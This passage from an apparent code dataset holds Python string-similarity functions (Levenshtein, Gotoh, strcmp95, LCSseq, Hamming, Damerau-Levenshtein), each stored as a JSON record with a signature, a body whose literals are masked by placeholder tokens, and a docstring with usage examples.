dist_levenshtein('aluminum', 'Catalan')\n    0.875\n    >>> dist_levenshtein('ATCG', 'TAGC')\n    0.75", "id": "f6624:m1"}
{"signature": "def sim_levenshtein(src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return Levenshtein().sim(src, tar, mode, cost)<EOL>", "docstring": "Return the Levenshtein similarity of two strings.\n\n    This is a wrapper of :py:meth:`Levenshtein.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    mode : str\n        Specifies a mode for computing the Levenshtein distance:\n\n            - ``lev`` (default) computes the ordinary Levenshtein distance, in\n              which edits may include inserts, deletes, and substitutions\n            - ``osa`` computes the Optimal String Alignment distance, in which\n              edits may include inserts, deletes, substitutions, and\n              transpositions but substrings may only be edited once\n\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    float\n        The Levenshtein similarity between src & tar\n\n    Examples\n    --------\n    >>> round(sim_levenshtein('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim_levenshtein('Niall', 'Neil'), 12)\n    0.4\n    >>> sim_levenshtein('aluminum', 'Catalan')\n    0.125\n    >>> sim_levenshtein('ATCG', 'TAGC')\n    0.25", "id": "f6624:m2"}
{"signature": "def dist_abs(self, src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "ins_cost, del_cost, sub_cost, trans_cost = cost<EOL>if src == tar:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if not src:<EOL><INDENT>return len(tar) * ins_cost<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src) * del_cost<EOL><DEDENT>d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_int)<EOL>for i in range(len(src) + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = i * del_cost<EOL><DEDENT>for j in range(len(tar) + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = j * ins_cost<EOL><DEDENT>for i in range(len(src)):<EOL><INDENT>for j in range(len(tar)):<EOL><INDENT>d_mat[i + <NUM_LIT:1>, j + <NUM_LIT:1>] = min(<EOL>d_mat[i + <NUM_LIT:1>, j] + ins_cost,  <EOL>d_mat[i, j + <NUM_LIT:1>] + del_cost,  <EOL>d_mat[i, j]<EOL>+ (sub_cost if src[i] != tar[j] else <NUM_LIT:0>),  <EOL>)<EOL>if mode == '<STR_LIT>':<EOL><INDENT>if (<EOL>i + <NUM_LIT:1> > <NUM_LIT:1><EOL>and j + <NUM_LIT:1> > <NUM_LIT:1><EOL>and src[i] == tar[j - <NUM_LIT:1>]<EOL>and src[i - <NUM_LIT:1>] == tar[j]<EOL>):<EOL><INDENT>d_mat[i + <NUM_LIT:1>, j + <NUM_LIT:1>] = min(<EOL>d_mat[i + <NUM_LIT:1>, j + <NUM_LIT:1>],<EOL>d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + trans_cost,<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return d_mat[len(src), len(tar)]<EOL>", "docstring": "Return the Levenshtein distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        mode : str\n            Specifies a mode for computing the Levenshtein distance:\n\n                - ``lev`` (default) computes the ordinary Levenshtein distance,\n                  in which edits may include inserts, deletes, and\n                  substitutions\n                - ``osa`` computes the Optimal String Alignment distance, in\n                  which edits may include inserts, deletes, substitutions, and\n                  transpositions but substrings may only be edited once\n\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and transpositions, respectively\n            (by default: (1, 1, 1, 1))\n\n        Returns\n        -------\n        int (may return a float if cost has float values)\n            The Levenshtein distance between src & tar\n\n        Examples\n        --------\n        >>> cmp = Levenshtein()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        3\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        7\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        3\n\n        >>> cmp.dist_abs('ATCG', 'TAGC', mode='osa')\n        2\n        >>> cmp.dist_abs('ACTG', 'TAGC', mode='osa')\n        4", "id": "f6624:c0:m0"}
{"signature": "def dist(self, src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>ins_cost, del_cost = cost[:<NUM_LIT:2>]<EOL>return levenshtein(src, tar, mode, cost) / (<EOL>max(len(src) * del_cost, len(tar) * ins_cost)<EOL>)<EOL>", "docstring": "Return the normalized Levenshtein distance between two strings.\n\n        The Levenshtein distance is normalized by dividing the Levenshtein\n        distance (calculated by any of the three supported methods) by the\n        greater of the number of characters in src times the cost of a delete\n        and the number of characters in tar times the cost of an insert.\n        For the case in which all operations have :math:`cost = 1`, this is\n        equivalent to the greater of the length of the two strings src & tar.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        mode : str\n            Specifies a mode for computing the Levenshtein distance:\n\n                - ``lev`` (default) computes the ordinary Levenshtein distance,\n                  in which edits may include inserts, deletes, and\n                  substitutions\n                - ``osa`` computes the Optimal String Alignment distance, in\n                  which edits may include inserts, deletes, substitutions, and\n                  transpositions but substrings may only be edited once\n\n        cost : tuple\n            A 4-tuple representing the cost of the four possible edits:\n            inserts, deletes, substitutions, and transpositions, respectively\n            (by default: (1, 1, 1, 1))\n\n        Returns\n        -------\n        float\n            The normalized Levenshtein distance between src & tar\n\n        Examples\n        --------\n        >>> cmp = Levenshtein()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.6\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.875\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.75", "id": "f6624:c0:m1"}
{"signature": "def gotoh(src, tar, gap_open=<NUM_LIT:1>, gap_ext=<NUM_LIT>, sim_func=sim_ident):", "body": "return Gotoh().dist_abs(src, tar, gap_open, gap_ext, sim_func)<EOL>", "docstring": "Return the Gotoh score of two strings.\n\n    This is a wrapper for :py:meth:`Gotoh.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    gap_open : float\n        The cost of an open alignment gap (1 by default)\n    gap_ext : float\n        The cost of an alignment gap extension (0.4 by default)\n    sim_func : function\n        A function that returns the similarity of two characters (identity\n        similarity by default)\n\n    Returns\n    -------\n    float\n        Gotoh score\n\n    Examples\n    --------\n    >>> gotoh('cat', 'hat')\n    2.0\n    >>> gotoh('Niall', 'Neil')\n    1.0\n    >>> round(gotoh('aluminum', 'Catalan'), 12)\n    -0.4\n    >>> gotoh('cat', 'hat')\n    2.0", "id": "f6625:m0"}
{"signature": "def dist_abs(self, src, tar, gap_open=<NUM_LIT:1>, gap_ext=<NUM_LIT>, sim_func=sim_ident):", "body": "d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>p_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>q_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>d_mat[<NUM_LIT:0>, <NUM_LIT:0>] = <NUM_LIT:0><EOL>p_mat[<NUM_LIT:0>, <NUM_LIT:0>] = float('<STR_LIT>')<EOL>q_mat[<NUM_LIT:0>, <NUM_LIT:0>] = float('<STR_LIT>')<EOL>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = float('<STR_LIT>')<EOL>p_mat[i, <NUM_LIT:0>] = -gap_open - gap_ext * (i - <NUM_LIT:1>)<EOL>q_mat[i, <NUM_LIT:0>] = float('<STR_LIT>')<EOL>q_mat[i, <NUM_LIT:1>] = -gap_open<EOL><DEDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = float('<STR_LIT>')<EOL>p_mat[<NUM_LIT:0>, j] = float('<STR_LIT>')<EOL>p_mat[<NUM_LIT:1>, j] = -gap_open<EOL>q_mat[<NUM_LIT:0>, j] = -gap_open - gap_ext * (j - <NUM_LIT:1>)<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>sim_val = sim_func(src[i - <NUM_LIT:1>], tar[j - <NUM_LIT:1>])<EOL>d_mat[i, j] = max(<EOL>d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + sim_val,<EOL>p_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + sim_val,<EOL>q_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + sim_val,<EOL>)<EOL>p_mat[i, j] = max(<EOL>d_mat[i - <NUM_LIT:1>, j] - gap_open, p_mat[i - <NUM_LIT:1>, j] - gap_ext<EOL>)<EOL>q_mat[i, j] = max(<EOL>d_mat[i, j - <NUM_LIT:1>] - gap_open, q_mat[i, j - <NUM_LIT:1>] - gap_ext<EOL>)<EOL><DEDENT><DEDENT>i, j = (n - <NUM_LIT:1> for n in d_mat.shape)<EOL>return max(d_mat[i, j], p_mat[i, j], q_mat[i, j])<EOL>", "docstring": "Return the Gotoh score of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        gap_open : float\n            The cost of an open alignment gap (1 by default)\n        gap_ext : float\n            The cost of an alignment gap extension (0.4 by default)\n        sim_func : function\n            A function that returns the similarity of two characters (identity\n            similarity by default)\n\n        Returns\n        -------\n        float\n            Gotoh score\n\n        Examples\n        --------\n        >>> cmp = Gotoh()\n        >>> cmp.dist_abs('cat', 'hat')\n        2.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        1.0\n        >>> round(cmp.dist_abs('aluminum', 'Catalan'), 12)\n        -0.4\n        >>> cmp.dist_abs('cat', 'hat')\n        2.0", "id": "f6625:c0:m0"}
{"signature": "def sim_strcmp95(src, tar, long_strings=False):", "body": "return Strcmp95().sim(src, tar, long_strings)<EOL>", "docstring": "Return the strcmp95 similarity of two strings.\n\n    This is a wrapper for :py:meth:`Strcmp95.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    long_strings : bool\n        Set to True to increase the probability of a match when the number of\n        matched characters is large. This option allows for a little more\n        tolerance when the strings are large. It is not an appropriate test\n        when comparing fixed length fields such as phone and social security\n        numbers.\n\n    Returns\n    -------\n    float\n        Strcmp95 similarity\n\n    Examples\n    --------\n    >>> sim_strcmp95('cat', 'hat')\n    0.7777777777777777\n    >>> sim_strcmp95('Niall', 'Neil')\n    0.8454999999999999\n    >>> sim_strcmp95('aluminum', 'Catalan')\n    0.6547619047619048\n    >>> sim_strcmp95('ATCG', 'TAGC')\n    0.8333333333333334", "id": "f6626:m0"}
{"signature": "def dist_strcmp95(src, tar, long_strings=False):", "body": "return Strcmp95().dist(src, tar, long_strings)<EOL>", "docstring": "Return the strcmp95 distance between two strings.\n\n    This is a wrapper for :py:meth:`Strcmp95.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    long_strings : bool\n        Set to True to increase the probability of a match when the number of\n        matched characters is large. This option allows for a little more\n        tolerance when the strings are large. It is not an appropriate test\n        when comparing fixed length fields such as phone and social security\n        numbers.\n\n    Returns\n    -------\n    float\n        Strcmp95 distance\n\n    Examples\n    --------\n    >>> round(dist_strcmp95('cat', 'hat'), 12)\n    0.222222222222\n    >>> round(dist_strcmp95('Niall', 'Neil'), 12)\n    0.1545\n    >>> round(dist_strcmp95('aluminum', 'Catalan'), 12)\n    0.345238095238\n    >>> round(dist_strcmp95('ATCG', 'TAGC'), 12)\n    0.166666666667", "id": "f6626:m1"}
{"signature": "def sim(self, src, tar, long_strings=False):", "body": "def _in_range(char):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return <NUM_LIT> > ord(char) > <NUM_LIT:0><EOL><DEDENT>ying = src.strip().upper()<EOL>yang = tar.strip().upper()<EOL>if ying == yang:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not ying or not yang:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>adjwt = defaultdict(int)<EOL>for i in self._sp_mx:<EOL><INDENT>adjwt[(i[<NUM_LIT:0>], i[<NUM_LIT:1>])] = <NUM_LIT:3><EOL>adjwt[(i[<NUM_LIT:1>], i[<NUM_LIT:0>])] = <NUM_LIT:3><EOL><DEDENT>if len(ying) > len(yang):<EOL><INDENT>search_range = len(ying)<EOL>minv = len(yang)<EOL><DEDENT>else:<EOL><INDENT>search_range = len(yang)<EOL>minv = len(ying)<EOL><DEDENT>ying_flag = [<NUM_LIT:0>] * search_range<EOL>yang_flag = [<NUM_LIT:0>] * search_range<EOL>search_range = max(<NUM_LIT:0>, search_range // <NUM_LIT:2> - <NUM_LIT:1>)<EOL>num_com = <NUM_LIT:0><EOL>yl1 = len(yang) - <NUM_LIT:1><EOL>for i in range(len(ying)):<EOL><INDENT>low_lim = (i - search_range) if (i >= search_range) else <NUM_LIT:0><EOL>hi_lim = (i + search_range) if ((i + search_range) <= yl1) else yl1<EOL>for j in range(low_lim, hi_lim + <NUM_LIT:1>):<EOL><INDENT>if (yang_flag[j] == <NUM_LIT:0>) and (yang[j] == ying[i]):<EOL><INDENT>yang_flag[j] = <NUM_LIT:1><EOL>ying_flag[i] = <NUM_LIT:1><EOL>num_com += <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT><DEDENT>if num_com == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>k = n_trans = <NUM_LIT:0><EOL>for i in range(len(ying)):<EOL><INDENT>if ying_flag[i] != <NUM_LIT:0>:<EOL><INDENT>j = <NUM_LIT:0><EOL>for j in range(k, len(yang)):  <EOL><INDENT>if yang_flag[j] != <NUM_LIT:0>:<EOL><INDENT>k = j + <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>if ying[i] != yang[j]:<EOL><INDENT>n_trans += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>n_trans //= <NUM_LIT:2><EOL>n_simi = <NUM_LIT:0><EOL>if minv > num_com:<EOL><INDENT>for i in range(len(ying)):<EOL><INDENT>if ying_flag[i] == <NUM_LIT:0> and _in_range(ying[i]):<EOL><INDENT>for j in range(len(yang)):<EOL><INDENT>if yang_flag[j] == <NUM_LIT:0> and _in_range(yang[j]):<EOL><INDENT>if (ying[i], yang[j]) in adjwt:<EOL><INDENT>n_simi += adjwt[(ying[i], yang[j])]<EOL>yang_flag[j] = <NUM_LIT:2><EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>num_sim = n_simi / <NUM_LIT> + num_com<EOL>weight = (<EOL>num_sim / len(ying)<EOL>+ num_sim / len(yang)<EOL>+ (num_com - n_trans) / num_com<EOL>)<EOL>weight /= <NUM_LIT><EOL>if weight > <NUM_LIT>:<EOL><INDENT>j = <NUM_LIT:4> if (minv >= <NUM_LIT:4>) else minv<EOL>i = <NUM_LIT:0><EOL>while (i < j) and (ying[i] == yang[i]) and (not ying[i].isdigit()):<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>if i:<EOL><INDENT>weight += i * <NUM_LIT:0.1> * (<NUM_LIT:1.0> - weight)<EOL><DEDENT>if (<EOL>long_strings<EOL>and (minv > <NUM_LIT:4>)<EOL>and (num_com > i + <NUM_LIT:1>)<EOL>and (<NUM_LIT:2> * num_com >= minv + i)<EOL>):<EOL><INDENT>if not ying[<NUM_LIT:0>].isdigit():<EOL><INDENT>weight += (<NUM_LIT:1.0> - weight) * (<EOL>(num_com - i - <NUM_LIT:1>) / (len(ying) + len(yang) - i * <NUM_LIT:2> + <NUM_LIT:2>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return weight<EOL>", "docstring": "Return the strcmp95 similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        long_strings : bool\n            Set to True to increase the probability of a match when the number\n            of matched characters is large. This option allows for a little\n            more tolerance when the strings are large. It is not an appropriate\n            test when comparing fixed length fields such as phone and social\n            security numbers.\n\n        Returns\n        -------\n        float\n            Strcmp95 similarity\n\n        Examples\n        --------\n        >>> cmp = Strcmp95()\n        >>> cmp.sim('cat', 'hat')\n        0.7777777777777777\n        >>> cmp.sim('Niall', 'Neil')\n        0.8454999999999999\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.6547619047619048\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.8333333333333334", "id": "f6626:c0:m0"}
{"signature": "def lcsseq(src, tar):", "body": "return LCSseq().lcsseq(src, tar)<EOL>", "docstring": "Return the longest common subsequence of two strings.\n\n    This is a wrapper for :py:meth:`LCSseq.lcsseq`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    str\n        The longest common subsequence\n\n    Examples\n    --------\n    >>> lcsseq('cat', 'hat')\n    'at'\n    >>> lcsseq('Niall', 'Neil')\n    'Nil'\n    >>> lcsseq('aluminum', 'Catalan')\n    'aln'\n    >>> lcsseq('ATCG', 'TAGC')\n    'AC'", "id": "f6627:m0"}
{"signature": "def sim_lcsseq(src, tar):", "body": "return LCSseq().sim(src, tar)<EOL>", "docstring": "r\"\"\"Return the longest common subsequence similarity of two strings.\n\n    This is a wrapper for :py:meth:`LCSseq.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        LCSseq similarity\n\n    Examples\n    --------\n    >>> sim_lcsseq('cat', 'hat')\n    0.6666666666666666\n    >>> sim_lcsseq('Niall', 'Neil')\n    0.6\n    >>> sim_lcsseq('aluminum', 'Catalan')\n    0.375\n    >>> sim_lcsseq('ATCG', 'TAGC')\n    0.5", "id": "f6627:m1"}
{"signature": "def dist_lcsseq(src, tar):", "body": "return LCSseq().dist(src, tar)<EOL>", "docstring": "Return the longest common subsequence distance between two strings.\n\n    This is a wrapper for :py:meth:`LCSseq.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        LCSseq distance\n\n    Examples\n    --------\n    >>> dist_lcsseq('cat', 'hat')\n    0.33333333333333337\n    >>> dist_lcsseq('Niall', 'Neil')\n    0.4\n    >>> dist_lcsseq('aluminum', 'Catalan')\n    0.625\n    >>> dist_lcsseq('ATCG', 'TAGC')\n    0.5", "id": "f6627:m2"}
{"signature": "def lcsseq(self, src, tar):", "body": "lengths = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_int)<EOL>for i, src_char in enumerate(src):<EOL><INDENT>for j, tar_char in enumerate(tar):<EOL><INDENT>if src_char == tar_char:<EOL><INDENT>lengths[i + <NUM_LIT:1>, j + <NUM_LIT:1>] = lengths[i, j] + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>lengths[i + <NUM_LIT:1>, j + <NUM_LIT:1>] = max(<EOL>lengths[i + <NUM_LIT:1>, j], lengths[i, j + <NUM_LIT:1>]<EOL>)<EOL><DEDENT><DEDENT><DEDENT>result = '<STR_LIT>'<EOL>i, j = len(src), len(tar)<EOL>while i != <NUM_LIT:0> and j != <NUM_LIT:0>:<EOL><INDENT>if lengths[i, j] == lengths[i - <NUM_LIT:1>, j]:<EOL><INDENT>i -= <NUM_LIT:1><EOL><DEDENT>elif lengths[i, j] == lengths[i, j - <NUM_LIT:1>]:<EOL><INDENT>j -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>result = src[i - <NUM_LIT:1>] + result<EOL>i -= <NUM_LIT:1><EOL>j -= <NUM_LIT:1><EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return the longest common subsequence of two strings.\n\n        Based on the dynamic programming algorithm from\n        http://rosettacode.org/wiki/Longest_common_subsequence\n        :cite:`rosettacode:2018b`. This is licensed GFDL 1.2.\n\n        Modifications include:\n            conversion to a numpy array in place of a list of lists\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        str\n            The longest common subsequence\n\n        Examples\n        --------\n        >>> sseq = LCSseq()\n        >>> sseq.lcsseq('cat', 'hat')\n        'at'\n        >>> sseq.lcsseq('Niall', 'Neil')\n        'Nil'\n        >>> sseq.lcsseq('aluminum', 'Catalan')\n        'aln'\n        >>> sseq.lcsseq('ATCG', 'TAGC')\n        'AC'", "id": "f6627:c0:m0"}
{"signature": "def sim(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>elif not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return len(self.lcsseq(src, tar)) / max(len(src), len(tar))<EOL>", "docstring": "r\"\"\"Return the longest common subsequence similarity of two strings.\n\n        Longest common subsequence similarity (:math:`sim_{LCSseq}`).\n\n        This employs the LCSseq function to derive a similarity metric:\n        :math:`sim_{LCSseq}(s,t) = \\frac{|LCSseq(s,t)|}{max(|s|, |t|)}`\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            LCSseq similarity\n\n        Examples\n        --------\n        >>> sseq = LCSseq()\n        >>> sseq.sim('cat', 'hat')\n        0.6666666666666666\n        >>> sseq.sim('Niall', 'Neil')\n        0.6\n        >>> sseq.sim('aluminum', 'Catalan')\n        0.375\n        >>> sseq.sim('ATCG', 'TAGC')\n        0.5", "id": "f6627:c0:m1"}
{"signature": "def hamming(src, tar, diff_lens=True):", "body": "return Hamming().dist_abs(src, tar, diff_lens)<EOL>", "docstring": "Return the Hamming distance between two strings.\n\n    This is a wrapper for :py:meth:`Hamming.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    diff_lens : bool\n        If True (default), this returns the Hamming distance for those\n        characters that have a matching character in both strings plus the\n        difference in the strings' lengths. This is equivalent to extending the\n        shorter string with obligatorily non-matching characters. If False, an\n        exception is raised in the case of strings of unequal lengths.\n\n    Returns\n    -------\n    int\n        The Hamming distance between src & tar\n\n    Examples\n    --------\n    >>> hamming('cat', 'hat')\n    1\n    >>> hamming('Niall', 'Neil')\n    3\n    >>> hamming('aluminum', 'Catalan')\n    8\n    >>> hamming('ATCG', 'TAGC')\n    4", "id": "f6628:m0"}
{"signature": "def dist_hamming(src, tar, diff_lens=True):", "body": "return Hamming().dist(src, tar, diff_lens)<EOL>", "docstring": "Return the normalized Hamming distance between two strings.\n\n    This is a wrapper for :py:meth:`Hamming.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    diff_lens : bool\n        If True (default), this returns the Hamming distance for those\n        characters that have a matching character in both strings plus the\n        difference in the strings' lengths. This is equivalent to extending the\n        shorter string with obligatorily non-matching characters. If False, an\n        exception is raised in the case of strings of unequal lengths.\n\n    Returns\n    -------\n    float\n        The normalized Hamming distance\n\n    Examples\n    --------\n    >>> round(dist_hamming('cat', 'hat'), 12)\n    0.333333333333\n    >>> dist_hamming('Niall', 'Neil')\n    0.6\n    >>> dist_hamming('aluminum', 'Catalan')\n    1.0\n    >>> dist_hamming('ATCG', 'TAGC')\n    1.0", "id": "f6628:m1"}
{"signature": "def sim_hamming(src, tar, diff_lens=True):", "body": "return Hamming().sim(src, tar, diff_lens)<EOL>", "docstring": "Return the normalized Hamming similarity of two strings.\n\n    This is a wrapper for :py:meth:`Hamming.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    diff_lens : bool\n        If True (default), this returns the Hamming distance for those\n        characters that have a matching character in both strings plus the\n        difference in the strings' lengths. This is equivalent to extending the\n        shorter string with obligatorily non-matching characters. If False, an\n        exception is raised in the case of strings of unequal lengths.\n\n    Returns\n    -------\n    float\n        The normalized Hamming similarity\n\n    Examples\n    --------\n    >>> round(sim_hamming('cat', 'hat'), 12)\n    0.666666666667\n    >>> sim_hamming('Niall', 'Neil')\n    0.4\n    >>> sim_hamming('aluminum', 'Catalan')\n    0.0\n    >>> sim_hamming('ATCG', 'TAGC')\n    0.0", "id": "f6628:m2"}
{"signature": "def dist_abs(self, src, tar, diff_lens=True):", "body": "if not diff_lens and len(src) != len(tar):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>hdist = <NUM_LIT:0><EOL>if diff_lens:<EOL><INDENT>hdist += abs(len(src) - len(tar))<EOL><DEDENT>hdist += sum(c1 != c2 for c1, c2 in zip(src, tar))<EOL>return hdist<EOL>", "docstring": "Return the Hamming distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        diff_lens : bool\n            If True (default), this returns the Hamming distance for those\n            characters that have a matching character in both strings plus the\n            difference in the strings' lengths. This is equivalent to extending\n            the shorter string with obligatorily non-matching characters. If\n            False, an exception is raised in the case of strings of unequal\n            lengths.\n\n        Returns\n        -------\n        int\n            The Hamming distance between src & tar\n\n        Raises\n        ------\n        ValueError\n            Undefined for sequences of unequal length; set diff_lens to True\n            for Hamming distance between strings of unequal lengths.\n\n        Examples\n        --------\n        >>> cmp = Hamming()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        3\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        8\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        4", "id": "f6628:c0:m0"}
{"signature": "def dist(self, src, tar, diff_lens=True):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return self.dist_abs(src, tar, diff_lens) / max(len(src), len(tar))<EOL>", "docstring": "Return the normalized Hamming distance between two strings.\n\n        Hamming distance normalized to the interval [0, 1].\n\n        The Hamming distance is normalized by dividing it\n        by the greater of the number of characters in src & tar (unless\n        diff_lens is set to False, in which case an exception is raised).\n\n        The arguments are identical to those of the hamming() function.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        diff_lens : bool\n            If True (default), this returns the Hamming distance for those\n            characters that have a matching character in both strings plus the\n            difference in the strings' lengths. This is equivalent to extending\n            the shorter string with obligatorily non-matching characters. If\n            False, an exception is raised in the case of strings of unequal\n            lengths.\n\n        Returns\n        -------\n        float\n            Normalized Hamming distance\n\n        Examples\n        --------\n        >>> cmp = Hamming()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> cmp.dist('Niall', 'Neil')\n        0.6\n        >>> cmp.dist('aluminum', 'Catalan')\n        1.0\n        >>> cmp.dist('ATCG', 'TAGC')\n        1.0", "id": "f6628:c0:m1"}
{"signature": "def damerau_levenshtein(src, tar, cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return DamerauLevenshtein().dist_abs(src, tar, cost)<EOL>", "docstring": "Return the Damerau-Levenshtein distance between two strings.\n\n    This is a wrapper of :py:meth:`DamerauLevenshtein.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    int (may return a float if cost has float values)\n        The Damerau-Levenshtein distance between src & tar\n\n    Examples\n    --------\n    >>> damerau_levenshtein('cat', 'hat')\n    1\n    >>> damerau_levenshtein('Niall', 'Neil')\n    3\n    >>> damerau_levenshtein('aluminum', 'Catalan')\n    7\n    >>> damerau_levenshtein('ATCG', 'TAGC')\n    2", "id": "f6629:m0"}
{"signature": "def dist_damerau(src, tar, cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return DamerauLevenshtein().dist(src, tar, cost)<EOL>", "docstring": "Return the Damerau-Levenshtein similarity of two strings.\n\n    This is a wrapper of :py:meth:`DamerauLevenshtein.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    float\n        The normalized Damerau-Levenshtein distance\n\n    Examples\n    --------\n    >>> round(dist_damerau('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist_damerau('Niall', 'Neil'), 12)\n    0.6\n    >>> dist_damerau('aluminum', 'Catalan')\n    0.875\n    >>> dist_damerau('ATCG', 'TAGC')\n    0.5", "id": "f6629:m1"}
